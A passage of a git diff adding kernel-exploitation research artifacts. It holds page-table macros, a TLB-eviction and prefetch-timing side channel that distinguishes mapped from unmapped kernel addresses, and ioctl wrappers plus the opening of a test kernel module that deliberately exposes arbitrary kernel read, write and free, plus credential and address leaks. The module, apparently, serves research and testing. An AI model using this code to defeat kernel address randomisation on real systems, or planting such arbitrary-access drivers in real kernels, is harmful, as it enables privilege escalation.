(1ULL << _PAGE_BIT_PCD) +#define _PAGE_ACCESSED (1ULL << _PAGE_BIT_ACCESSED) +#define _PAGE_DIRTY (1ULL << _PAGE_BIT_DIRTY) +#define _PAGE_PSE (1ULL << _PAGE_BIT_PSE) +#define _PAGE_GLOBAL (1ULL << _PAGE_BIT_GLOBAL) +#define _PAGE_SOFTW1 (1ULL << _PAGE_BIT_SOFTW1) +#define _PAGE_SOFTW2 (1ULL << _PAGE_BIT_SOFTW2) +#define _PAGE_SOFTW3 (1ULL << _PAGE_BIT_SOFTW3) +#define _PAGE_PAT (1ULL << _PAGE_BIT_PAT) +#define _PAGE_PAT_LARGE (1ULL << _PAGE_BIT_PAT_LARGE) +#define _PAGE_SPECIAL (1ULL << _PAGE_BIT_SPECIAL) +#define _PAGE_CPA_TEST (1ULL << _PAGE_BIT_CPA_TEST) +#define _PAGE_PKEY_BIT0 (1ULL << _PAGE_BIT_PKEY_BIT0) +#define _PAGE_PKEY_BIT1 (1ULL << _PAGE_BIT_PKEY_BIT1) +#define _PAGE_PKEY_BIT2 (1ULL << _PAGE_BIT_PKEY_BIT2) +#define _PAGE_PKEY_BIT3 (1ULL << _PAGE_BIT_PKEY_BIT3) +#define _PAGE_NX (1ULL << _PAGE_BIT_NX) + +#define __PP _PAGE_PRESENT +#define __RW _PAGE_RW +#define _USR _PAGE_USER +#define ___A _PAGE_ACCESSED +#define ___D _PAGE_DIRTY +#define ___G _PAGE_GLOBAL +#define __NX _PAGE_NX + +#define _PAGE_TABLE (__PP|__RW|_USR|___A| 0|___D| 0| 0| 0) + +#define PAGE_TABLE_LARGE (_PAGE_TABLE | _PAGE_PSE) +#define PTE (__PP|__RW|_USR|___A| 0|___D| 0| 0|__NX) diff --git a/artifacts/include/pipe_buffer.h b/artifacts/include/pipe_buffer.h new file mode 100644 index 000000000..cf587d896 --- /dev/null +++ b/artifacts/include/pipe_buffer.h @@ -0,0 +1,56 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include + +void alloc_pipes(int *pipefd, int flags) +{ + int ret = pipe2(pipefd, flags); + if (ret < 0) { + perror("pipe2"); + exit(-1); + } +} + +void write_pipe(int fd, char *buf, size_t sz) +{ + int ret = write(fd, buf, sz); + if (ret < 0) { + perror("write(pipes)"); + exit(-1); + } +} + +void resize_pipe(int fd, size_t nr_slots) +{ + int ret = fcntl(fd, F_SETPIPE_SZ, nr_slots << 12); + if (ret < 0) { + perror("fcntl(fd, F_SETPIPE_SZ, nr_slots << 12)"); + exit(-1); + } +} + +int write_pipe_no_err(int fd, char *buf, size_t sz) +{ + int ret = write(fd, buf, sz); + return ret; +} + +void read_pipe(int fd, char *buf, size_t sz) +{ + int ret = read(fd, buf, sz); + if (ret < 0) { + perror("read(pipes)"); + exit(-1); + } +} + +int read_pipe_no_err(int fd, char *buf, size_t sz) +{ + int ret = read(fd, buf, sz); + return ret; +} \ No newline at end of file diff --git a/artifacts/include/tlb_flush.h b/artifacts/include/tlb_flush.h new file mode 100644 index 000000000..a79c445d1 --- /dev/null +++ b/artifacts/include/tlb_flush.h @@ -0,0 +1,331 @@ +#ifndef TLB_FLUSH_H +#define TLB_FLUSH_H + +#include +#include +#include +#include +#include +#include "cacheutils.h" + +#define INTEL_12TH_GEN +/** + * todo set this THRESHOLD depending on your system + */ +#if defined(INTEL_12TH_GEN) +unsigned THRESHOLD = 31; +unsigned THRESHOLD2 = 33; +#elif defined(INTEL_13TH_GEN) +unsigned THRESHOLD = 29; +unsigned THRESHOLD2 = 32; +#elif defined(INTEL_8TH_GEN) +unsigned THRESHOLD = 26; +unsigned THRESHOLD2 = 40; +#endif + +#define PAGESIZE_4K 12 +#define PAGESIZE_2M 21 + +#define HUGEPAGES 128 + +/** + * TLB settings + */ +#define STLB_HASHSIZE_4K 8 +#define STLB_HASHSIZE_2M 8 +#define DTLB_HASHSIZE_4K 4 +#define DTLB_HASHSIZE_2M 3 +#define STLB_WAYS_4K 12 +#define STLB_WAYS_2M 8 +#define DTLB_WAYS_4K 6 +#define DTLB_WAYS_2M 4 +#define STLB_HASHMASK_4K ((1 << STLB_HASHSIZE_4K) - 1) +#define STLB_HASHMASK_2M ((1 << STLB_HASHSIZE_2M) - 1) +#define DTLB_HASHMASK_4K ((1 << DTLB_HASHSIZE_4K) - 1) +#define DTLB_HASHMASK_2M ((1 << DTLB_HASHSIZE_2M) - 1) +#define STLB_SET_4K(addr) (((addr >> PAGESIZE_4K) ^ (addr >> (PAGESIZE_4K + STLB_HASHSIZE_4K))) & STLB_HASHMASK_4K) +#define STLB_SET_2M(addr) (((addr >> PAGESIZE_2M)) & STLB_HASHMASK_2M) +#define DTLB_SET_4K(addr) ((addr >> PAGESIZE_4K) & DTLB_HASHMASK_4K) +#define DTLB_SET_2M(addr) ((addr >> PAGESIZE_2M) & DTLB_HASHMASK_2M) + +#define FLUSH_SET_SIZE ((1UL << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2))) * 2 // 12bit page size + enough space for 14 bit xor +#define TLB_EVICTION_SIZE (1UL << (PAGESIZE_4K + 12)) // 12bit page size 4096 times to cover up to 3072 TLB entries + +#define TIMER(x) rdtsc_##x + +#define FLUSH_TLB_ALL flush_tlb_4k +#define FLUSH_TLB_T_4K flush_tlb_targeted_4k +#define FLUSH_TLB_T_2M flush_tlb_targeted_2M + +#define TIMER_START TIMER(begin) +#define TIMER_END TIMER(end) +#define FLUSH_TLB_4K FLUSH_TLB_T_4K +#define FLUSH_TLB_2M FLUSH_TLB_T_2M + +typedef enum +{ + PAGE_4K, + PAGE_2M +} PageType; + +uint8_t *flush_set; +uint8_t *flush_set_2M; + +void init_tlb_flush(void) +{ + flush_set = mmap(0, FLUSH_SET_SIZE, PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); + if (flush_set == MAP_FAILED) { + perror("mmap(flush_set)"); + exit(-1); + } + + if (posix_memalign((void **)&flush_set_2M, 1 << PAGESIZE_2M, (HUGEPAGES + 1) << PAGESIZE_2M) != 0) { + perror("mmap(flush_set_2M)"); + exit(-1); + } + madvise(flush_set_2M, (HUGEPAGES + 1) << PAGESIZE_2M, MADV_HUGEPAGE); + + for (unsigned i = 0; i < HUGEPAGES + 1; i++) { + flush_set_2M[i << PAGESIZE_2M] = 1; + // check the page is indeed huge + // check_huge_page(buf); + } +} + +/** + * Flush 4k TLBs with up to 4k entries, doesn't flush L1 DTLB for 2M + */ +void flush_tlb_4k(__attribute__((unused)) size_t addr) +{ + for (size_t _i = 0; _i < TLB_EVICTION_SIZE; _i += (1 << 12)) + *(volatile char *)(flush_set + _i); +} + +void flush_tlb_targeted_4k(size_t addr) +{ + size_t stlb_set = STLB_SET_4K(addr); + size_t dtlb_set = DTLB_SET_4K(addr); + size_t flush_base = (size_t)flush_set; + flush_base = (((flush_base >> (PAGESIZE_4K + STLB_HASHSIZE_4K * 2))) << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2)) + (1UL << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2)); + + // dtlb + for (size_t i = 0; i < DTLB_WAYS_4K * 2; i++) { + size_t evict_addr = (flush_base + (dtlb_set << PAGESIZE_4K)) ^ (i << (PAGESIZE_4K + DTLB_HASHSIZE_4K)); + // printf("base: %p, evict_addr: %lx, dset: %d, target dset: %d\n", flush_base, evict_addr, DTLB_SET_4K(evict_addr), DTLB_SET_4K(addr)); + maccess((void *)evict_addr); + } + + // stlb + for (size_t i = 0; i < STLB_WAYS_4K * 2; i++) { + size_t evict_addr = (flush_base + (stlb_set << PAGESIZE_4K)) ^ (((i << STLB_HASHSIZE_4K) + i) << PAGESIZE_4K); + // printf("base: %p, evict_addr: %lx, set: %d, target set: %d\n", flush_base, evict_addr, STLB_SET_4K(evict_addr), STLB_SET_4K(addr)); + maccess((void *)evict_addr); + } +} + +void flush_tlb_targeted_2M(size_t addr) +{ + size_t stlb_set = STLB_SET_2M(addr); + // size_t dtlb_set = DTLB_SET_2M(addr); + size_t flush_base = (size_t)flush_set; + flush_base = (((flush_base >> (PAGESIZE_4K + STLB_HASHSIZE_4K * 2))) << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2)) + (1UL << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2)); + + // dtlb + for (size_t i = 0; i < HUGEPAGES; i++) + maccess((void *)(flush_set_2M + (i << PAGESIZE_2M))); + + // stlb + for (size_t i = 0; i < STLB_WAYS_4K * 2; i++) { + size_t evict_addr = (flush_base + (stlb_set << PAGESIZE_4K)) ^ (((i << STLB_HASHSIZE_4K) + i) << PAGESIZE_4K); + // printf("base: %p, evict_addr: %lx, set: %d, target set: %d\n", flush_base, evict_addr, STLB_SET_4K(evict_addr), STLB_SET_4K(addr)); + maccess((void *)evict_addr); + } +} + +void flush_tlb_targeted(size_t addr, PageType type) +{ + if (type == PAGE_4K) + flush_tlb_targeted_4k(addr); + else + flush_tlb_targeted_2M(addr); +} + +/** + * Timed access + */ +size_t __attribute__((noinline, aligned(4096))) onlyreload(size_t addr) +{ + size_t t = TIMER_START(); + prefetch2((void *)addr); + // prefetcht0((void*)addr); + // prefetcht1((void*)addr); + // prefetcht2((void*)addr); + // prefetchnta((void*)addr); + return TIMER_END() - t; +} + +size_t __attribute__((noinline, aligned(4096))) flushreload(size_t addr) +{ + FLUSH_TLB_4K(addr); + size_t t = TIMER_START(); + asm volatile("" ::: "memory"); + // prefetcht0((void*)addr); + // prefetcht1((void*)addr); + // prefetcht2((void*)addr); + // prefetchnta((void*)addr); + prefetch2((void *)addr); + asm volatile("" ::: "memory"); + return TIMER_END() - t; +} + +size_t __attribute__((noinline, aligned(4096))) flushsysreload(size_t addr) +{ + FLUSH_TLB_4K(addr); + syscall(-1); + size_t t = TIMER_START(); + asm volatile("" ::: "memory"); + // prefetcht0((void*)addr); + // prefetcht1((void*)addr); + // prefetcht2((void*)addr); + // prefetchnta((void*)addr); + prefetch2((void *)addr); + asm volatile("" ::: "memory"); + return TIMER_END() - t; +} + +#define HIST_SIZE_THRESHOLD 100 + +typedef struct DualThreshold_ +{ + unsigned lower; + unsigned upper; +} DualThreshold; + +/** + * Autodetect a good threshold to distinguish mapped from unmapped pages + * best used via detect_threshold + */ +DualThreshold __attribute__((noinline, aligned(4096))) detect_threshold_single(size_t addr_mapped, size_t addr_unmapped) +{ + const unsigned reps = 10000; + size_t time_m; + size_t time_um; + size_t hist_m[HIST_SIZE_THRESHOLD] = {0}; + size_t hist_um[HIST_SIZE_THRESHOLD] = {0}; + + /* leaking */ + for (size_t i = 0; i < reps; ++i) { + prefetch2((void *)addr_mapped); + asm volatile("lfence"); + asm volatile("mfence"); + time_m = onlyreload(addr_mapped); + time_um = onlyreload(addr_unmapped); + asm volatile("lfence"); + asm volatile("mfence"); + hist_m[MIN(HIST_SIZE_THRESHOLD - 2, time_m)]++; + hist_um[MIN(HIST_SIZE_THRESHOLD - 2, time_um)]++; + } + + size_t sum[2] = {0}; + unsigned max = 0; + unsigned threshold_i = 0; + unsigned limit1 = 0; + unsigned limit2 = 0; + for (size_t i = 0; i < HIST_SIZE_THRESHOLD; i += 2) { + sum[0] += hist_m[i]; + sum[1] += hist_um[i]; + if ((sum[0] - sum[1]) > max) + max = (sum[0] - sum[1]); + } + sum[0] = 0; + sum[1] = 0; + for (size_t i = 0; i < HIST_SIZE_THRESHOLD; i += 2) { + sum[0] += hist_m[i]; + sum[1] += hist_um[i]; + if (!limit1 && (sum[0] - sum[1]) >= 0.97 * max) + limit1 = i; + if (limit1 && !limit2 && (sum[0] - sum[1]) <= 0.97 * max) { + limit2 = i; + threshold_i = (limit1 + limit2) / 2; + threshold_i += threshold_i % 2; + } + } + DualThreshold t = {limit1, limit2}; + + return t; +} + +/** + * Autodetect a good threshold to distinguish mapped from unmapped pages + * thresholds are inclusive, i.e use as <= Lower, >= Upper + */ +DualThreshold detect_threshold(size_t addr_mapped, size_t addr_unmapped, const unsigned reps) +{ + size_t threshold_hist_lower[HIST_SIZE_THRESHOLD] = {0}; + size_t threshold_hist_upper[HIST_SIZE_THRESHOLD] = {0}; + // printf("Detecting mapped/unmapped threshold..\n"); + + // warmup + for (unsigned i = 0; i < 20; i++) + detect_threshold_single(addr_mapped, addr_unmapped); + + for (unsigned i = 0; i < reps; i++) { + DualThreshold t = detect_threshold_single(addr_mapped, addr_unmapped); + threshold_hist_lower[t.lower]++; + threshold_hist_upper[t.upper]++; + } + + unsigned threshold_l = 0; + unsigned threshold_l_i = 0; + unsigned threshold_u = 0; + unsigned threshold_u_i = 0; + for (size_t i = 0; i < HIST_SIZE_THRESHOLD; i += 2) { + if (threshold_hist_lower[i] > threshold_l) { + threshold_l = threshold_hist_lower[i]; + threshold_l_i = i; + } + if (threshold_hist_upper[i] > threshold_u) { + threshold_u = threshold_hist_upper[i]; + threshold_u_i = i; + } + } + + DualThreshold t = {threshold_l_i, threshold_u_i}; + + return t; +} + +int comp(const void *e1, const void *e2) +{ + return *(size_t *)e1 > *(size_t *)e2; +} + +size_t hit(size_t addr, size_t tries) +{ + size_t time; + /* leaking */ + prefetch2((void *)addr); + for (size_t i = 0; i < tries; ++i) { + time = onlyreload(addr); + if (time <= THRESHOLD) + return 1; + } + return 0; +} + +size_t hit_accurate(size_t addr, size_t tries) +{ + size_t time; + size_t times[tries]; + /* leaking */ + prefetch2((void *)addr); + for (size_t i = 0; i < tries; ++i) { + time = onlyreload(addr); + times[i] = time; + } + qsort(times, tries, sizeof(size_t), comp); + time = times[tries / 4]; + return time <= THRESHOLD; +} + +#endif \ No newline at end of file diff --git a/artifacts/include/ulkm.h b/artifacts/include/ulkm.h new file mode 100644 index 000000000..adc0c9405 --- /dev/null +++ b/artifacts/include/ulkm.h @@ -0,0 +1,485 @@ +#pragma once +#include +#include +#include +#include +#include +#include + +#include "lkm.h" + +static int lkm_fd = -1; +void lkm_init(void) +{ + lkm_fd = open("/dev/lkm", O_RDWR); + if (lkm_fd < 0) { + perror("open(/dev/lkm)"); + _exit(-1); + } +} + +size_t __lkm_read(size_t kaddr, size_t uaddr) +{ + msg_t msg = { + .rd = { + .kaddr = kaddr, + .uaddr = uaddr, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_READ, (size_t)&msg); +} +void lkm_read(size_t kaddr, size_t uaddr) +{ + int ret = __lkm_read(kaddr, uaddr); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +size_t __lkm_write(size_t kaddr, size_t value) +{ + msg_t msg = { + .wr = { + .kaddr = kaddr, + .value = value, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_WRITE, (size_t)&msg); +} +void lkm_write(size_t kaddr, size_t value) +{ + int ret = __lkm_write(kaddr, value); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +size_t __lkm_access_primitive(size_t addr) +{ + msg_t msg = { + .ap = { + .addr = addr + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_ACCESS_PRIMITIVE, (size_t)&msg); +} +void lkm_access_primitive(size_t addr) +{ + int ret = __lkm_access_primitive(addr); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +size_t __lkm_dpm_test(void) +{ + msg_t msg; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_DPM_TEST, (size_t)&msg); +} +void lkm_dpm_test(void) +{ + int ret = __lkm_dpm_test(); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +size_t __lkm_bpf_dpm_split(size_t size) +{ + msg_t msg = { + .dpms = { + .size = size + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_BPF_DPM_SPLIT, (size_t)&msg); +} +void lkm_bpf_dpm_split(size_t size) +{ + int ret = __lkm_bpf_dpm_split(size); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +int __lkm_msg_msg_leak(size_t uaddr, size_t msqid, size_t mtype) +{ + msg_t msg = { + .mrd = { + .uaddr = uaddr, + .msqid = msqid, + .mtype = mtype, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_MSG_MSG_LEAK, (unsigned long)&msg); +} +void lkm_msg_msg_leak(size_t uaddr, size_t msqid, size_t mtype) +{ + int ret = __lkm_msg_msg_leak(uaddr, msqid, mtype); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +int __lkm_seq_file_leak(size_t uaddr, size_t fd) +{ + msg_t msg = { + .frd = { + .uaddr = uaddr, + .fd = fd, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_SEQ_FILE_LEAK, (unsigned long)&msg); +} +void lkm_seq_file_leak(size_t uaddr, size_t fd) +{ + int ret = __lkm_seq_file_leak(uaddr, fd); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +int __lkm_file_leak(size_t uaddr, size_t fd) +{ + msg_t msg = { + .frd = { + .uaddr = uaddr, + .fd = fd, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_FILE_LEAK, (unsigned long)&msg); +} +void lkm_file_leak(size_t uaddr, size_t fd) +{ + int ret = __lkm_file_leak(uaddr, fd); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +int __lkm_pipe_buffer_leak(size_t uaddr, size_t fd, size_t rdend) +{ + msg_t msg = { + .pbrd = { + .uaddr = uaddr, + .fd = fd, + .rdend = rdend, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_PIPE_BUFFER_LEAK, (unsigned long)&msg); +} +void lkm_pipe_buffer_leak(size_t uaddr, size_t fd, size_t rdend) +{ + int ret = __lkm_pipe_buffer_leak(uaddr, fd, rdend); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +int __lkm_cred_leak(size_t uaddr) +{ + msg_t msg = { + .drd = { + .uaddr = uaddr, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_CRED_LEAK, (unsigned long)&msg); +} +void lkm_cred_leak(size_t uaddr) +{ + int ret = __lkm_cred_leak(uaddr); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +int __lkm_dpm_leak(size_t uaddr) +{ + msg_t msg = { + .drd = { + .uaddr = uaddr, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_DPM_LEAK, (unsigned long)&msg); +} +void lkm_dpm_leak(size_t uaddr) +{ + int ret = __lkm_dpm_leak(uaddr); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +size_t __lkm_virt_base_leak(size_t uaddr) +{ + msg_t msg = { + .drd = { + .uaddr = uaddr + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_VIRTUAL_BASE_LEAK, (size_t)&msg); +} +void lkm_virt_base_leak(size_t uaddr) +{ + int ret = __lkm_virt_base_leak(uaddr); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +size_t __lkm_stack_leak(size_t uaddr) +{ + msg_t msg = { + .drd = { + .uaddr = uaddr + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_STACK_LEAK, (size_t)&msg); +} +void lkm_stack_leak(size_t uaddr) +{ + int ret = __lkm_stack_leak(uaddr); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +size_t __lkm_code_leak(size_t uaddr) +{ + msg_t msg = { + .drd = { + .uaddr = uaddr + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_CODE_LEAK, (size_t)&msg); +} +void lkm_code_leak(size_t uaddr) +{ + int ret = __lkm_code_leak(uaddr); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +size_t __lkm_vmemmap_leak(size_t uaddr) +{ + msg_t msg = { + .drd = { + .uaddr = uaddr + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_VMEMMAP_LEAK, (size_t)&msg); +} +void lkm_vmemmap_leak(size_t uaddr) +{ + int ret = __lkm_vmemmap_leak(uaddr); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +size_t __lkm_vmalloc_base_leak(size_t uaddr) +{ + msg_t msg = { + .drd = { + .uaddr = uaddr + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_VMALLOC_BASE_LEAK, (size_t)&msg); +} +void lkm_vmalloc_base_leak(size_t uaddr) +{ + int ret = __lkm_vmalloc_base_leak(uaddr); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +size_t __lkm_alloc(size_t id, size_t size) +{ + msg_t msg = { + .al = { + .id = id, + .size = size, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_ALLOC, (size_t)&msg); +} +void lkm_alloc(size_t id, size_t size) +{ + int ret = __lkm_alloc(id, size); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +size_t __lkm_free(size_t id) +{ + msg_t msg = { + .fr = { + .id = id, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_FREE, (size_t)&msg); +} +void lkm_free(size_t id) +{ + int ret = __lkm_free(id); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +size_t __lkm_arb_free(size_t kaddr) +{ + msg_t msg = { + .af = { + .kaddr = kaddr, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_ARB_FREE, (size_t)&msg); +} +void lkm_arb_free(size_t kaddr) +{ + int ret = __lkm_arb_free(kaddr); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +int __lkm_arb_pagetable_wald(size_t uaddr, size_t *pgde, size_t *pude, size_t *pmde, size_t *pte) +{ + msg_t msg = { + .ptw = { + .uaddr = uaddr, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + int ret = ioctl(lkm_fd, LKM_PAGETABLE_WALK, (unsigned long)&msg); + if (!ret) { + if (pgde) *pgde = msg.ptw.pgde; + if (pude) *pude = msg.ptw.pude; + if (pmde) *pmde = msg.ptw.pmde; + if (pte) *pte = msg.ptw.pte; + } + return ret; +} +void lkm_arb_pagetable_wald(size_t uaddr, size_t *pgde, size_t *pude, size_t *pmde, size_t *pte) +{ + int ret = __lkm_arb_pagetable_wald(uaddr, pgde, pude, pmde, pte); + if (ret < 0) { + printf("[!] ret %d\n", ret); + _exit(-1); + } +} + +int lkm_is_4kb(size_t addr) +{ + msg_t msg = { + .ap = { + .addr = addr, + } + }; + if (lkm_fd < 0) { + printf("[!] lkm not init\n"); + _exit(-1); + } + return ioctl(lkm_fd, LKM_IS_4KB, (unsigned long)&msg); +} diff --git a/artifacts/include/utils.h b/artifacts/include/utils.h new file mode 100644 index 000000000..2bfe8d1c2 --- /dev/null +++ b/artifacts/include/utils.h @@ -0,0 +1,73 @@ +#pragma once + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include + +void set_limit(void) +{ + int ret; + struct rlimit l = { + .rlim_cur = 100000, + .rlim_max = 100000, + }; + ret = setrlimit(RLIMIT_NOFILE, &l); + if (ret < 0) { + perror("setrlimit"); + exit(-1); + } +} + +void pin_to_core(size_t core) +{ + int ret; + cpu_set_t cpuset; + + CPU_ZERO(&cpuset); + CPU_SET(core, &cpuset); + + ret = sched_setaffinity(0, sizeof(cpu_set_t), &cpuset); + if (ret) { + perror("sched_setaffinity: "); + exit(-1); + } +} + +size_t mem_total_rounded; +void get_total_memory(void) +{ + FILE *fp; + char input[100]; + + size_t mem_total_kb; + + /* Open the command for reading. */ + fp = popen("awk '/MemTotal/ { print $2 }' /proc/meminfo", "r"); + if (fp == NULL) { + printf("[!] Failed to get MemTotal\n" ); + exit(1); + } + + /* Read the output a line at a time - output it. */ + if (fgets(input, sizeof(input), fp) != NULL) { + mem_total_kb = atoi(input); + if (mem_total_kb == 0) { + printf("[!] Failed to convert MemTotal\n" ); + exit(1); + } + mem_total_rounded = (mem_total_kb+(1<<20)-1)/(1<<20) << 30; + printf("[*] MemTotal: %luB\n", mem_total_rounded); + } + else { + printf("[!] Failed to get MemTotal\n" ); + exit(1); + } + + /* close */ + pclose(fp); +} \ No newline at end of file diff --git a/artifacts/lkm.c b/artifacts/lkm.c new file mode 100644 index 000000000..16b761747 --- /dev/null +++ b/artifacts/lkm.c @@ -0,0 +1,857 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "include/lkm.h" + +#define DEVICE_NAME "lkm" +#define CLASS_NAME "lkmclass" + +int lkm_init_device_driver(void); +static int lkm_init(void); +static void lkm_cleanup(void); +int lkm_open(struct inode *inode, struct file *filp); +int lkm_release(struct inode *inode, struct file *filep); +long lkm_ioctl(struct file *file, unsigned int num, long unsigned int param); +void lkm_alloc(size_t id, size_t loc, size_t size); +pte_t *page_walk_pte(size_t addr); +void dpm_test(void); +void bpf_dpm_split(size_t size); + +static struct file_operations lkm_fops = { + .owner = THIS_MODULE, + .open = lkm_open, + .release = lkm_release, + .unlocked_ioctl = lkm_ioctl, +}; + +static int lkm_major; +static struct class *lkm_class; +static struct device *lkm_device; + +static pgd_t *_init_top_pgt; +static void *(*module_alloc)(unsigned long); +static int (*set_memory_rox)(unsigned long, int); +struct msg_queue; +struct msg_queue *(*ipc_obtain_object_check)(struct ipc_ids *ns, int id); +unsigned long slub_addr_base; +unsigned long __text; +unsigned long vmemmap_base; +unsigned long vmalloc_base; +unsigned long __end; +static struct kprobe kp = { + .symbol_name = "init_top_pgt" +}; +static struct kprobe kp1 = { + .symbol_name = "module_alloc" +}; +static struct kprobe kp2 = { + .symbol_name = "set_memory_rox" +}; +static struct kprobe kp3 = { + .symbol_name = "ipc_obtain_object_check" +}; +static struct kprobe kp4 = { + .symbol_name = "slub_addr_base" +}; +static struct kprobe kp5 = { + .symbol_name = "_text" +}; +static struct kprobe kp6 = { + .symbol_name = "vmemmap_base" +}; +static struct kprobe kp7 = { + .symbol_name = "vmalloc_base" +}; +static struct kprobe kp8 = { + .symbol_name = "__brk_dmi_alloc" +}; + +#define OBJS_SZ (1ULL << 20) +void *objs[OBJS_SZ]; + +/* + * Initialization device driver + */ +#define V5_15 +#define V6_5 +#define V6_6 +#define V6_8 +int lkm_init_device_driver(void) +{ + int ret; + printk(KERN_INFO "lkm:init_device_driver: start\n"); + + ret = register_chrdev(0, DEVICE_NAME, &lkm_fops); + if (ret < 0) goto ERROR; + lkm_major = ret; +#if defined(V6_5) || defined(V6_8) || defined(V6_6) + lkm_class = class_create(CLASS_NAME); +#else + lkm_class = class_create(0, CLASS_NAME); +#endif + if (IS_ERR(lkm_class)) { + ret = PTR_ERR(lkm_class); + goto ERROR1; + } + + lkm_device = device_create(lkm_class, 0, MKDEV(lkm_major, 0), 0, DEVICE_NAME); + if (IS_ERR(lkm_device)) { + ret = PTR_ERR(lkm_device); + goto ERROR2; + } + + printk(KERN_INFO "lkm:init_device_driver: done '/dev/%s c %d' 0 created\n", DEVICE_NAME, lkm_major); + return 0; + +ERROR2: + printk(KERN_ERR "lkm:init_device_driver: class destroy\n"); + class_unregister(lkm_class); + class_destroy(lkm_class); +ERROR1: + printk(KERN_ERR "lkm:init_device_driver: unregister chrdev\n"); + unregister_chrdev(lkm_major, CLASS_NAME); +ERROR: + printk(KERN_ERR "lkm:init_device_driver: fail %d\n", ret); + lkm_device = 0; + lkm_class = 0; + lkm_major = -1; + return ret; +} + +/* + * Initialization + */ +static int lkm_init(void) +{ + int ret; + printk(KERN_INFO "lkm:init: start\n"); + + ret = lkm_init_device_driver(); + if (ret) goto ERROR; + + register_kprobe(&kp); + _init_top_pgt = (void *)kp.addr; + register_kprobe(&kp1); + module_alloc = (void *(*)(unsigned long))kp1.addr; + register_kprobe(&kp2); + set_memory_rox = (int(*)(unsigned long, int))kp2.addr; + register_kprobe(&kp3); + ipc_obtain_object_check = (struct msg_queue *(*)(struct ipc_ids *, int))kp3.addr; + register_kprobe(&kp4); + slub_addr_base = *(unsigned long *)kp4.addr; + register_kprobe(&kp5); + __text = (unsigned long)kp5.addr; + register_kprobe(&kp6); + vmemmap_base = *(unsigned long *)kp6.addr; + register_kprobe(&kp7); + vmalloc_base = *(unsigned long *)kp7.addr; + register_kprobe(&kp8); + __end = (unsigned long)kp8.addr; + + printk(KERN_INFO "lkm:init: init_top_pgt %016zx\n", (size_t)_init_top_pgt); + printk(KERN_INFO "lkm:init: lkm_class %016zx\n", (size_t)lkm_class); + printk(KERN_INFO "lkm:init: lkm_ioctl %016zx\n", (size_t)lkm_ioctl); + + printk(KERN_INFO "lkm:init: done\n"); + return 0; + +ERROR: + printk(KERN_ERR "lkm:init: error\n"); + return ret; +} + +/* + * 